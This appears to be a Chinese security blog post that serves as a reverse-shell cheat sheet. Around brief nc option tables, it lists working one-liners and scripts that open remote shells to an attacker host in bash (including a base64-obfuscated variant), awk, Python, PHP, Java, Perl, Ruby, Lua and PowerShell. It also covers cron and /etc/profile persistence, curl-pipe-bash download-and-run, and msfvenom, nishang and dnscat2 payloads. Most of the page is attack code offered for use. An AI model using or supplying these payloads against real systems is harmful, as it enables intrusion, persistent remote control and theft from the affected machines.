目录
技能展示
文章
日记
时间线
项目展示
分类
标签
Android Bash Burp C++ CS CTF DLL劫持 Docker Fastjson Fastjson2 FNV-1a FreeCMS FRP GetShell GitHub IPv6 Java JNDI John JS加密 JS逆向 K8s Kafka Kali lama-cleaner Linux mitmproxy MSF MySQL Nim Nmap NPS Office OID Payload Phar PHP phpMyAdmin POP链 PWN Pyinstaller Python RCE RSA Shellcode SNMP SQL注入 SSH SSRF Ubuntu USB Web Webshell Web安全 Windows XSS YAML Zookeeper 主机探测 代码审计 伪协议 免杀 内网 内网穿透 加密 加解密 参数 反序列化 反弹shell 命令 哈希碰撞 图像处理 域渗透 字符串逃逸 容器 密码学 密码破解 提权 数据库 文件上传 日志分析 未授权访问 权限维持 汇总 流量分析 消息队列 溯源 漏洞 漏洞分析 漏洞利用 端口扫描 编译 网络管理 资产探测 跨平台 运维 进程隐藏 逆向
目录
目录
2614 字
13 分钟
反弹Shell
测试
1nc用法:2 -d 从控制台分离,后台模式3
4 -e prog 入站程序执行 [危险!!]5 -g 网关源路由跳点[s],最多 8 个6 -G num 源路由指针: 4, 8, 12, ...7 -h 这个垃圾8 -i secs 发送线路的延迟间隔,扫描的端口9 -l 监听模式,用于入站连接10 -L 更努力地听,在套接字关闭时重新听11 -n 纯数字 IP 地址,无 DNS12 -o 文件十六进制转储流量13 -p port 本地端口号14 -r 随机化本地和远程端口15 -s addr 本地源地址16 -t 应答 TELNET 协商17 -u UDP 模式18 -v 详细 [使用两次更详细]19 -w secs 连接和最终网络读取超时20 -z 零 I/O 模式 [用于扫描]nc版本没有-e参数
1nc老版本是不能采用-e这个参数的,安装之后,由于ubuntu默认安装的是netcat-openbsd,需要运行命令进行配置2sudo update-alternatives --config nc3选择 /bin/nc.traditional的编号4# 调整为traditional版本| 参数 | 解释 |
|---|---|
| -4 | 强制nc仅使用IPv4地址 |
| -6 | 强制nc仅使用IPv6地址 |
| -b | 允许广播 |
| -C | 发送CRLF作为行结束符 |
| -D | 在套接字上启动测试 |
| -d | 不要试图从标准输入读入数据 |
| -h | 打印nc帮助 |
| -l length | 指定TCP接收缓冲区大小 |
| -i interval | 指定发送和接收的文本行之间的延迟时间间隔。还会导致连接到多个端口之间的延迟时间。 |
| -k | 强制nc在当前连接完成后继续侦听另一个连接。在没有-l选项的情况下使用此选项是错误的。 |
| -l | 用于指定nc应侦听传入连接,而不是启动到远程主机的连接。将此选项与-p、-s或-z选项结合使用是错误的。此外,使用-w选项指定的任何超时都将被忽略。 |
| -n | 不要在任何指定的地址、主机名或端口上执行任何DNS或服务查找。 |
| -O length | 指定TCP发送缓冲区大小 |
| -P proxy_username | 指定要呈现给需要身份验证的代理服务器的用户名。如果未指定用户名,则不会尝试身份验证。目前仅支持HTTP CONNECT代理的代理身份验证。 |
| -p source_port | 根据权限限制和可用性,指定nc应使用的源端口。支持nn-mm范围模式和空格分隔。 |
| -q seconds | 在stdin上执行EOF后,等待指定的秒数,然后退出。如果秒数为负,则永远等待。 |
| -r | 指定应随机选择源端口和/或目标端口,而不是在某个范围内或按照系统分配的顺序顺序进行选择。 |
| -S | 启用RFC 2385 TCP MD5签名选项。 |
| -s source_ip | 指定用于发送数据包的接口的IP。对于UNIX域数据报套接字,指定要创建和使用的本地临时套接字文件,以便可以接收数据报。将此选项与-l选项结合使用是错误的。 |
| -U | 指定使用UNIX域套接字。 |
| -u | 使用UDP而不是TCP的默认选项。对于UNIX域套接字,请使用数据报套接字而不是流套接字。如果使用UNIX域套接字,则在/tmp中创建临时接收套接字,除非给出-s标志。 |
| -V rtable | 设置要使用的路由表。默认值为0。 |
| -v | 让nc提供更详细的输出。 |
| -w timeout | 无法建立或在超时秒后处于空闲状态的连接。-w标志对-l选项没有影响,即nc将永久侦听连接,无论是否使用-w标志。默认值为无超时。 |
| -X proxy_protocol | 请求nc在与代理服务器对话时应使用指定的协议。支持的协议有“4”(SOCKS v.4)、“5”(SOCKS v.5)和“connect”(HTTPS代理)。如果未指定协议,则使用SOCKS版本5。 |
| -x proxy_address[ | 请求nc应使用代理地址和端口处的代理连接到目标。如果未指定端口,则使用代理协议的已知端口(1080用于SOCKS,3128用于HTTPS)。 |
| -Z | DCCP模式。 |
| -z | 指定nc应该只扫描侦听守护进程,而不向它们发送任何数据。将此选项与-l选项结合使用是错误的。 |
1TCP监听:2
3nc -lvp 端口4
5UDP监听:6
7nc -u -lvp 端口 或者 nc -luvp 端口nc反弹
1攻击:nc -lnvp 端口 -- n参数代表在建立连接之前不对主机进行dns解析2
3靶机:nc -e cmd VPS_IP 端口 --windows4
5靶机:nc -e /bin/sh VPS_IP 端口 --linux6
7jenkins:println "nc -e /bin/bash VPS_IP 端口".execute().text8
9交互式终端:python -c "import pty;pty.spawn('/bin/bash');"1不支持 -e 参数时:2
3nc VPS_IP 8888 | /bin/bash | VPS_IP 99994
5远程的8888端口的输入设备(键盘)输入命令,将命令输出传递至本地的/bin/bash,通过本地shell解释执行命令后,将命令执行的结果以及错误输入到远程的9999端口。nc反弹——IPv6
1监听:nc -6 -lvv -k fe80::20c:29ff:fea2:9ee2%ens332# nc -6 -lvv -k 监听机ipv6地址%对应网卡名称3# -k 监听结束重新监听4
5反弹:ncat -6 fe80::20c:29ff:fea2:9ee2%eth0 31337 -e /bin/bash6# ncat -6 监听机ipv6地址%反弹机对应网卡名称 端口(自动生成) -e /bin/bashbash反弹
1攻击:nc -lvp 端口2
3靶机:bash -i >& /dev/tcp/VPS_IP/端口 0>&1 --linux1base64:2
3bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80My4xNDIuMTcwLjI1LzY2NzcgMD4mMQ==}|{base64,-d}|{bash,-i}' --127.0.0.11exec 5<>/dev/tcp/VPS_IP/端口;cat <&5 | while read line; do $line 2>&5 >&5;done1靶机:bash -c 'exec bash -i >& /dev/tcp/VPS_IP/端口 0>&1'1echo "bash -i >& /dev/tcp/47.109.194.84/1234 0>&1" > /tmp/shell.sh2
3chmod +x /tmp/shell.sh4
5bash /tmp/shell.shawk反弹
1nc -lvp 端口2
3awk 'BEGIN{s="/inet/tcp/0/VPS_IP/1234";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'1gawk 'BEGIN{s="/inet/tcp/0/47.109.194.84/1234"; print "Hello" |& s; while((s|&getline resp)>0) print resp; close(s)}'Python反弹
1攻击:nc -lvp 端口1import os2import socket3import subprocess4
5s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)6s.connect(('VPS_IP', 端口))7os.dup2(s.fileno(), 0)8os.dup2(s.fileno(), 1)9os.dup2(s.fileno(), 2)10p = subprocess.call(['/bin/bash', '-i'])Php反弹
1攻击:nc -lvp 端口1php -r 'exec("/bin/bash -i >& /dev/tcp/127.0.0.1/1234")' (未成功)2
3php -r '$sock=fsockopen("127.0.0.1",1234);exec("/bin/bash -i 0>&3 1>&3 2>&3");'4
5php -r '$sock=fsockopen("127.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'Java反弹
1public class Revs {2 /**3 * @param args4 * @throws Exception5 */6public static void main(String[] args) throws Exception {7 // TODO Auto-generated method stub8 Runtime r = Runtime.getRuntime();9 String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.95.4/1234;cat <&5 | while read line; do $line 2>&5 >&5; done"};10 Process p = r.exec(cmd);11 p.waitFor();12 }13}14
15上面文件保存为Revs.java文件,编译执行,成功反弹shell。1javac Revs.java2
3目标若没有javac编译环境,只有java环境,可以先编译好上传再运行4java Revs # kali测试成功定时任务反弹
1vim /etc/crontab2
3*/1 * * * * 用户 bash /路径/文件.sh4
5*/1 * * * * 用户 bash -c 'bash -i >& /dev/tcp/VPS_IP/端口 0>&1'6
7*/1 * * * * 用户 /bin/bash -i>&/dev/tcp/VPS_IP/端口 0>&1 # 每隔一分钟,向攻击ip的端口发送shell8
9若反弹不成功,可能是每一行的结尾标识不同,入\r\n,可以在vim界面输入命令: set ff=unix 来进行修改格式,即可正常监听到反弹shell1将反弹shell的命令写入/etc/profile文件2将以下反弹shell的命写入/etc/profile文件中,/etc/profile中的内容会在用户打开bash窗口时执行。3
4/bin/bash -i >& /dev/tcp/VPS_IP/端口 0>&1 & # 最后面那个&为的是防止管理员无法输入命令5
6bash -c 'bash -i >& /dev/tcp/VPS_IP/端口 0>&1'curl反弹
1在攻击者vps的web目录里面创建一个index文件(index.php或index.html),内容如下:2
3bash -c 'exec bash -i >& /dev/tcp/VPS_IP/端口 0<&1'4
5目录若是文件遍历的界面,直接curl 10.1.239.128:6677/1.txt|bash 即可6
7nc -lvnp 55558开启监听后,在目标机上执行如下,即可反弹shell:9
10curl VPS_IP/文件 | bashnetcat反弹
1安装完原生版本的 netcat 工具后,便有了netcat -e参数,我们就可以将本地bash反弹到攻击机上了。2
3攻击机开启本地监听:4
5netcat -lvvp 端口6
7目标机主动连接攻击机:8
9netcat VPS_IP 端口 -e /bin/bash # nc <VPS_IP> <攻击机监听的端口> -e /bin/bashpowershell反弹
1powercat是netcat的powershell版本,功能免杀性都要比netcat好用的多2
3IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')4
5下载到目标机器本地执行:6
7Import-Module ./powercat.ps18
9powercat -c VPS_IP -p 端口 # 建立聊天室10
11powercat -c VPS_IP -p 端口 -e cmdsocket反弹
1nc -lvp 端口2
3socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:VPS_IP:端口 --linuxTelnet反弹
1本地监听两个端口:2nc -lnvp 88883nc -lnvp 99994
5linux:6telnet VPS_IP 端口1 | /bin/bash | telnet VPS_IP 端口2 --远程的8888端口的输入设备(键盘)输入命令,将命令输出传递至本地的/bin/bash,通过本地shell解释执行命令后,将命令执行的结果以及错误输入到远程的9999端口。7
8最终本地的两个监听可以看到输入和输出的回显MSF反弹
1msfvenom -l payloads | grep 'cmd/windows/reverse'2msfvenom -p cmd/windows/reverse_powershell lhost=192.168.43.74 lport=12343
4生成payload:5
6powershell -w hidden -nop -c $a='192.168.43.74';$b=1234;$c=New-Object system.net.sockets.tcpclient;$nb=New-Object System.Byte[] $c.ReceiveBufferSize;$ob=New-Object System.Byte[] 65536;$eb=New-Object System.Byte[] 65536;$e=new-object System.Text.UTF8Encoding;$p=New-Object System.Diagnostics.Process;$p.StartInfo.FileName='cmd.exe';$p.StartInfo.RedirectStandardInput=1;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.RedirectStandardError=1;$p.StartInfo.UseShellExecute=0;$q=$p.Start();$is=$p.StandardInput;$os=$p.StandardOutput;$es=$p.StandardError;$osread=$os.BaseStream.BeginRead($ob, 0, $ob.Length, $null, $null);$esread=$es.BaseStream.BeginRead($eb, 0, $eb.Length, $null, $null);$c.connect($a,$b);$s=$c.GetStream();while ($true) { start-sleep -m 100; if ($osread.IsCompleted -and $osread.Result -ne 0) { $r=$os.BaseStream.EndRead($osread); $s.Write($ob,0,$r); $s.Flush(); $osread=$os.BaseStream.BeginRead($ob, 0, $ob.Length, $null, $null); } if ($esread.IsCompleted -and $esread.Result -ne 0) { $r=$es.BaseStream.EndRead($esread); $s.Write($eb,0,$r); $s.Flush(); $esread=$es.BaseStream.BeginRead($eb, 0, $eb.Length, $null, $null); } if ($s.DataAvailable) { $r=$s.Read($nb,0,$nb.Length); if ($r -lt 1) { break; } else { $str=$e.GetString($nb,0,$r); $is.write($str); } } if ($c.Connected -ne $true -or ($c.Client.Poll(1,[System.Net.Sockets.SelectMode]::SelectRead) -and $c.Client.Available -eq 0)) { break; } if ($p.ExitCode -ne $null) { break; }}7
8攻击IP进行监听:9
10nc -lvp 123411
12目标在cmd中运行payload1当然msfvenom还可以生成各种木马程序,甚至进行免杀,在msfconsole中进行监听,同时还有反向连接和正向连接的不同 payload 选择2
3windows一般生成.exe,linux生成.elf4
5eg:6msfvenom -p windows/x64/meterpreter/bind_tcp rhost=靶机IP lport=监听端口 -f exe -o shell.exe # windows 正向7
8msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=VPS_IP lport=监听端口 -f elf -o shell.elf # linux 反向1msf中如果是python反弹的shell,则没有交互,不能通过pty模块建立交互式shell,需要上线到nc中进行引用pty模块2监听nc -lvvp 55553反弹nc -e /bin/sh 10.1.239.128 55554失败,目标系统的nc版本没有-e参数5使用msfvenom生成nc反弹命令:msfvenom -p cmd/unix/reverse_netcat lhost=10.1.239.128 lport=5555 R6得到一句话反弹命令:mkfifo /tmp/hvlgtg; nc 10.1.239.128 5555 0</tmp/hvlgtg | /bin/sh >/tmp/hvlgtg 2>&1; rm /tmp/hvlgtg7在msf的shell中执行命令,并在本地nc监听成功上线8执行python -c "import pty;pty.spawn('/bin/bash');"成功得到可交互shellPerl反弹
1sh:2perl -e 'use Socket;$i="VPS_IP";$p=端口;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'3
4bash:5perl -e 'use Socket;$i="VPS_IP";$p=端口;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'1安装依赖模块2
3perl -MCPAN -e shell4install LWP::Simple(模块名称)Ruby反弹shell
1nc -lvnp2
3ruby -rsocket -e 'c=TCPSocket.new("IP","Port");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'Cobalt strike反弹
1上线要有 ./teamserver11、配置监听器:点击Cobalt Strike——>Listeners——>在下方Tab菜单Listeners,点击add。22、生成payload:点击Attacks——>Packages——>Windows Executable,保存文件位置。33、目标机执行powershell payload未测试
Lua反弹shell
1lua -e "require('socket');require('os');t=socket.tcp();t:connect('VPS_IP','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"Empire反弹shell
1usestager windows/launcher_vbs2info3set Listener test4executenishang反弹shell
1https://github.com/samratashok/nishang反弹TCP
1powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com /samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');2Invoke-PowerShellTcp -Reverse -IPAddress VPS_IP -port 1234反弹UDP
1powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com /samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellUdp.ps1');2Invoke-PowerShellUdp -Reverse -IPAddress VPS_IP -port 1234Dnscat反弹shell
1https://github.com/iagox86/dnscat21服务端:2
3ruby dnscat2.rb --dns "domain=lltest.com,host=xx.xx.xx.xx" --no-cache -e open -e open4
5目标主机:6
7powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubuserconte部分信息可能已经过时
目录
技能展示
文章
日记
时间线
项目展示
分类
标签
Android Bash Burp C++ CS CTF DLL劫持 Docker Fastjson Fastjson2 FNV-1a FreeCMS FRP GetShell GitHub IPv6 Java JNDI John JS加密 JS逆向 K8s Kafka Kali lama-cleaner Linux mitmproxy MSF MySQL Nim Nmap NPS Office OID Payload Phar PHP phpMyAdmin POP链 PWN Pyinstaller Python RCE RSA Shellcode SNMP SQL注入 SSH SSRF Ubuntu USB Web Webshell Web安全 Windows XSS YAML Zookeeper 主机探测 代码审计 伪协议 免杀 内网 内网穿透 加密 加解密 参数 反序列化 反弹shell 命令 哈希碰撞 图像处理 域渗透 字符串逃逸 容器 密码学 密码破解 提权 数据库 文件上传 日志分析 未授权访问 权限维持 汇总 流量分析 消息队列 溯源 漏洞 漏洞分析 漏洞利用 端口扫描 编译 网络管理 资产探测 跨平台 运维 进程隐藏 逆向
目录